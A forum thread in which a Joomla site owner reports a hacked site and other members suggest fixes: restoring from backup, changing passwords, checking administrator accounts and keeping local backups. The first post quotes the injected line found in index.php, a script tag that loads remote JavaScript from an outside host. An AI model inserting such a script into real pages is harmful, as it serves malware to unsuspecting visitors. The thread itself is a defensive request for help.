Joomla Templates Club 406,261 posts

[christool Friend christoolJoin date: August 2008Posts: 39Downloads:0Uploads:10 Thanks: 10]

#141315

Helo guys,
I installed JA Opal 2 months ago. everuthing was ok, but and last night it had been hacked…

The hacker has modified at least 2 files, index.php and configuration.php

When visitors went on the website an error message regarding lone 90 appeared, some of them had an alert regarding virus… In the index.php files on line 90, i found that :

/**
* RETURN THE RESPONSE
*/
echo JResponse::toString($mainframe->getCfg(‘gzip’));
<script src=http://cgi35.plala.or.jp/BTO/data/entry/css.js></script>

Can anyone help me to fix the hack please ?

It is really urgent, this website is the one of the main french enduro race that will occured in one week…

The website is no longer available, i deleted the 2 modified files.

:((

[mj1256 Friend mj1256Join date: June 2007Posts: 1473Downloads:10Uploads:35 Thanks: 84 Thanked: 225 times in 118 posts]

#305174

they got more files that that, it looks like the Jredirector worm.

best to restore from your lats backup, then change all of your server and site passwords. You DB is fine and untouched.

your host should do it for you, happened to me saturday on one of my sites, total down time, 20 minutes, host used last backup to restore. no extra charge

1 user says Thank You to mj1256 for this useful post

1. christool

[christool Friend christoolJoin date: August 2008Posts: 39Downloads:0Uploads:10 Thanks: 10]

#305195

Thank you.
I did a new install and overwrite all the old files and changed all the passwords. I hope that they did not put new files when they did the hack… I t looks as if the host do not have a back up.
🙁

Chris

[nguyenhuu quang Friend nguyenhuu quangJoin date: September 2014Posts: 1087Downloads:0Uploads:3 Thanks: 29 Thanked: 328 times in 288 posts]

#305196

New install at localhost and Delete your code on live site , Upload to your host and edit configurations(
Check all your acc called administrator,and superadmin groups)

[questbg Friend questbgJoin date: May 2008Posts: 1912Downloads:0Uploads:1 Thanks: 146 Thanked: 339 times in 197 posts]

#305200

You may want to consider JoomlaPack too so you can save zipped backups locally. These are really easy to restore if you ever have the problem.

[christool Friend christoolJoin date: August 2008Posts: 39Downloads:0Uploads:10 Thanks: 10]

#305203

Ok thanks for the advices guys.
😉

[Author]

Posts